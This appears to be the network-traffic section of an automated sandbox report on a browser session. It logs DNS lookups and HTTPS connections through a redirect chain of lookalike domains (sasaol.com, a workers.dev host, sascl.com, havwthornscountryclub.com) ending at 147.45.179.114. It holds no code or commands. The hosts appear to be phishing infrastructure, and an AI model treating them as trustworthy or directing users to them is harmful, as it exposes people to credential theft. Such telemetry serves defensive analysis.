Jan 15, 2025 20:08:18.690680981 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.709311962 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.709588051 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.709613085 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.710551023 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.710715055 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.710943937 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.711004019 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.711108923 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.711117029 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.729316950 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.743446112 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.743453026 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.758779049 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.798620939 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.914665937 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.914802074 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.914897919 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.915354967 CET	49775	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.915375948 CET	443	49775	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:18.918992996 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:18.963327885 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.034039974 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.035141945 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.035208941 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.035451889 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.035466909 CET	443	49777	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.035478115 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.035516977 CET	49777	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.104948997 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.104985952 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.105056047 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.105391979 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.105401993 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.185359001 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.185750961 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.185903072 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.194010019 CET	49776	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.194030046 CET	443	49776	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.317267895 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.317308903 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.317374945 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.317842960 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.317868948 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.705178022 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.705439091 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.705461025 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.706506968 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.706568003 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.706901073 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.706962109 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.707037926 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.707046032 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.749358892 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.983480930 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.983867884 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.983896017 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.984241009 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.984762907 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:19.984826088 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:19.985018969 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.031336069 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.043358088 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.043435097 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.043492079 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.043975115 CET	49778	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.043988943 CET	443	49778	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.046504021 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.046550035 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.046643972 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.046892881 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.046909094 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.350904942 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.350985050 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.351049900 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.351789951 CET	49779	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.351839066 CET	443	49779	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.689348936 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.689696074 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.689714909 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.690057993 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.690418005 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.690474987 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:20.690756083 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:20.735340118 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.013015985 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.013108015 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.013164997 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.013632059 CET	49780	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.013657093 CET	443	49780	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.016341925 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.016442060 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.016515970 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.016741037 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.016776085 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.637470961 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.657437086 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.657497883 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.657862902 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.669639111 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.669714928 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.669816971 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.715336084 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.963836908 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.963944912 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.964725971 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.964808941 CET	443	49781	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:21.964847088 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:21.964881897 CET	49781	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.145812988 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.145850897 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.145946980 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.146023989 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.146122932 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.146202087 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.146214008 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.146228075 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.146383047 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.146418095 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.753813982 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.754162073 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.754172087 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.754648924 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.754976034 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.755054951 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.755134106 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.757658958 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.757863045 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.757925034 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.758311033 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.758611917 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:30.758686066 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.795372963 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:30.809513092 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:31.097532034 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:31.097889900 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:31.097965002 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:31.098145008 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:31.098145008 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:31.098160982 CET	443	49782	147.45.179.114	192.168.2.4
Jan 15, 2025 20:08:31.098336935 CET	49782	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:08:57.918215990 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:57.918303967 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:57.918375015 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:57.918679953 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:57.918716908 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:58.581584930 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:58.581955910 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:58.582021952 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:58.583149910 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:58.583637953 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:08:58.583827972 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:08:58.634759903 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:09:06.928301096 CET	49928	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:06.928375006 CET	443	49928	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:06.928456068 CET	49928	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:06.928898096 CET	49928	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:06.928931952 CET	443	49928	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:06.936742067 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:06.979346037 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.228502035 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.229188919 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.229290009 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:07.229290009 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:07.229334116 CET	443	49783	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.229392052 CET	49783	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:07.560235023 CET	443	49928	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.560573101 CET	49928	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:07.560606003 CET	443	49928	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.561088085 CET	443	49928	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.561381102 CET	49928	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:07.561466932 CET	443	49928	147.45.179.114	192.168.2.4
Jan 15, 2025 20:09:07.605099916 CET	49928	443	192.168.2.4	147.45.179.114
Jan 15, 2025 20:09:08.486155987 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:09:08.486311913 CET	443	49870	142.250.184.196	192.168.2.4
Jan 15, 2025 20:09:08.486604929 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:09:08.762999058 CET	49870	443	192.168.2.4	142.250.184.196
Jan 15, 2025 20:09:08.763070107 CET	443	49870	142.250.184.196	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 20:07:54.110230923 CET	53	64580	1.1.1.1	192.168.2.4
Jan 15, 2025 20:07:54.183433056 CET	53	64981	1.1.1.1	192.168.2.4
Jan 15, 2025 20:07:55.219131947 CET	53	63041	1.1.1.1	192.168.2.4
Jan 15, 2025 20:07:57.856278896 CET	64762	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:07:57.856586933 CET	54609	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:07:57.863147974 CET	53	64762	1.1.1.1	192.168.2.4
Jan 15, 2025 20:07:57.863440037 CET	53	54609	1.1.1.1	192.168.2.4
Jan 15, 2025 20:07:59.636338949 CET	57730	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:07:59.636548996 CET	57000	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:07:59.643454075 CET	53	57730	1.1.1.1	192.168.2.4
Jan 15, 2025 20:07:59.643733978 CET	53	57000	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:01.374288082 CET	51186	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:01.374521971 CET	62514	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:01.387968063 CET	53	51186	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:01.390160084 CET	53	62514	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:01.958420038 CET	58282	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:01.958709002 CET	54418	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:01.972934961 CET	53	58282	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:01.975388050 CET	53	54418	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:03.201705933 CET	58852	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:03.201811075 CET	65111	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:03.208694935 CET	53	58852	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:03.209285021 CET	53	65111	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:04.778493881 CET	55369	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:04.778700113 CET	57289	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:04.785305023 CET	53	55369	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:04.785423040 CET	53	57289	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:04.835536003 CET	57582	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:04.835669994 CET	52238	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:04.842432976 CET	53	57582	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:04.842617989 CET	53	52238	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:06.655534983 CET	55628	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:06.655956984 CET	53538	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:06.669445038 CET	53	55628	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:06.695462942 CET	53	53538	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:07.939846992 CET	138	138	192.168.2.4	192.168.2.255
Jan 15, 2025 20:08:12.111763954 CET	53	62761	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:16.205586910 CET	62571	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:16.205735922 CET	51561	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:16.217737913 CET	53	62571	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:16.219990015 CET	53	51561	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:18.054877996 CET	53154	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:18.055329084 CET	60513	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:18.067286968 CET	56453	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:18.067481995 CET	60747	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:18.068475962 CET	53	53154	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:18.069750071 CET	53	60513	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:18.080388069 CET	53	56453	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:18.225354910 CET	53	60747	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:19.070502996 CET	61727	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:19.070671082 CET	59673	53	192.168.2.4	1.1.1.1
Jan 15, 2025 20:08:19.083895922 CET	53	61727	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:19.237070084 CET	53	59673	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:31.096959114 CET	53	56401	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:53.651868105 CET	53	49589	1.1.1.1	192.168.2.4
Jan 15, 2025 20:08:53.739489079 CET	53	56445	1.1.1.1	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jan 15, 2025 20:08:06.695523977 CET	192.168.2.4	1.1.1.1	c297	(Port unreachable)	Destination Unreachable
Jan 15, 2025 20:08:18.225606918 CET	192.168.2.4	1.1.1.1	c225	(Port unreachable)	Destination Unreachable
Jan 15, 2025 20:08:19.237214088 CET	192.168.2.4	1.1.1.1	c235	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 20:07:57.856278896 CET	192.168.2.4	1.1.1.1	0xba18	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:07:57.856586933 CET	192.168.2.4	1.1.1.1	0x6525	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 15, 2025 20:07:59.636338949 CET	192.168.2.4	1.1.1.1	0x9d3e	Standard query (0)	www.google.com.tr	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:07:59.636548996 CET	192.168.2.4	1.1.1.1	0x5cec	Standard query (0)	www.google.com.tr	65	IN (0x0001)	false
Jan 15, 2025 20:08:01.374288082 CET	192.168.2.4	1.1.1.1	0x905d	Standard query (0)	sasaol.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:01.374521971 CET	192.168.2.4	1.1.1.1	0xd787	Standard query (0)	sasaol.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:01.958420038 CET	192.168.2.4	1.1.1.1	0x676	Standard query (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:01.958709002 CET	192.168.2.4	1.1.1.1	0x8901	Standard query (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	65	IN (0x0001)	false
Jan 15, 2025 20:08:03.201705933 CET	192.168.2.4	1.1.1.1	0xf949	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:03.201811075 CET	192.168.2.4	1.1.1.1	0xbaf8	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:04.778493881 CET	192.168.2.4	1.1.1.1	0xcc0c	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:04.778700113 CET	192.168.2.4	1.1.1.1	0x86df	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:04.835536003 CET	192.168.2.4	1.1.1.1	0xeee8	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:04.835669994 CET	192.168.2.4	1.1.1.1	0x2f48	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:06.655534983 CET	192.168.2.4	1.1.1.1	0xa19b	Standard query (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:06.655956984 CET	192.168.2.4	1.1.1.1	0x8b08	Standard query (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	65	IN (0x0001)	false
Jan 15, 2025 20:08:16.205586910 CET	192.168.2.4	1.1.1.1	0x4dca	Standard query (0)	sascl.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:16.205735922 CET	192.168.2.4	1.1.1.1	0x3c48	Standard query (0)	sascl.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:18.054877996 CET	192.168.2.4	1.1.1.1	0x65b7	Standard query (0)	havwthornscountryclub.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:18.055329084 CET	192.168.2.4	1.1.1.1	0xb9c3	Standard query (0)	havwthornscountryclub.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:18.067286968 CET	192.168.2.4	1.1.1.1	0xcb37	Standard query (0)	sascl.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:18.067481995 CET	192.168.2.4	1.1.1.1	0x8bb5	Standard query (0)	sascl.com	65	IN (0x0001)	false
Jan 15, 2025 20:08:19.070502996 CET	192.168.2.4	1.1.1.1	0xd713	Standard query (0)	havwthornscountryclub.com	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:19.070671082 CET	192.168.2.4	1.1.1.1	0x9763	Standard query (0)	havwthornscountryclub.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 20:07:57.863147974 CET	1.1.1.1	192.168.2.4	0xba18	No error (0)	www.google.com	142.250.184.196	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:07:57.863440037 CET	1.1.1.1	192.168.2.4	0x6525	No error (0)	www.google.com		65	IN (0x0001)	false
Jan 15, 2025 20:07:59.643454075 CET	1.1.1.1	192.168.2.4	0x9d3e	No error (0)	www.google.com.tr	142.250.185.131	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:01.387968063 CET	1.1.1.1	192.168.2.4	0x905d	No error (0)	sasaol.com	15.156.40.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:01.972934961 CET	1.1.1.1	192.168.2.4	0x676	No error (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	172.67.196.214	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:01.972934961 CET	1.1.1.1	192.168.2.4	0x676	No error (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	104.21.92.176	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:01.975388050 CET	1.1.1.1	192.168.2.4	0x8901	No error (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev		65	IN (0x0001)	false
Jan 15, 2025 20:08:03.208694935 CET	1.1.1.1	192.168.2.4	0xf949	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:03.208694935 CET	1.1.1.1	192.168.2.4	0xf949	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:03.209285021 CET	1.1.1.1	192.168.2.4	0xbaf8	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Jan 15, 2025 20:08:04.785305023 CET	1.1.1.1	192.168.2.4	0xcc0c	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:04.785305023 CET	1.1.1.1	192.168.2.4	0xcc0c	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:04.785423040 CET	1.1.1.1	192.168.2.4	0x86df	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Jan 15, 2025 20:08:04.842432976 CET	1.1.1.1	192.168.2.4	0xeee8	No error (0)	challenges.cloudflare.com	104.18.95.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:04.842432976 CET	1.1.1.1	192.168.2.4	0xeee8	No error (0)	challenges.cloudflare.com	104.18.94.41	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:04.842617989 CET	1.1.1.1	192.168.2.4	0x2f48	No error (0)	challenges.cloudflare.com		65	IN (0x0001)	false
Jan 15, 2025 20:08:06.669445038 CET	1.1.1.1	192.168.2.4	0xa19b	No error (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	104.21.92.176	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:06.669445038 CET	1.1.1.1	192.168.2.4	0xa19b	No error (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev	172.67.196.214	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:06.695462942 CET	1.1.1.1	192.168.2.4	0x8b08	No error (0)	c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev		65	IN (0x0001)	false
Jan 15, 2025 20:08:16.217737913 CET	1.1.1.1	192.168.2.4	0x4dca	No error (0)	sascl.com	147.45.179.114	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:18.068475962 CET	1.1.1.1	192.168.2.4	0x65b7	No error (0)	havwthornscountryclub.com	147.45.179.114	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:18.080388069 CET	1.1.1.1	192.168.2.4	0xcb37	No error (0)	sascl.com	147.45.179.114	A (IP address)	IN (0x0001)	false
Jan 15, 2025 20:08:19.083895922 CET	1.1.1.1	192.168.2.4	0xd713	No error (0)	havwthornscountryclub.com	147.45.179.114	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com.tr

sasaol.com

c24cd3e1.2fec05537055bdbe69fd2ef5.workers.dev

https:

challenges.cloudflare.com

sascl.com

havwthornscountryclub.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49743	15.156.40.19	80	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
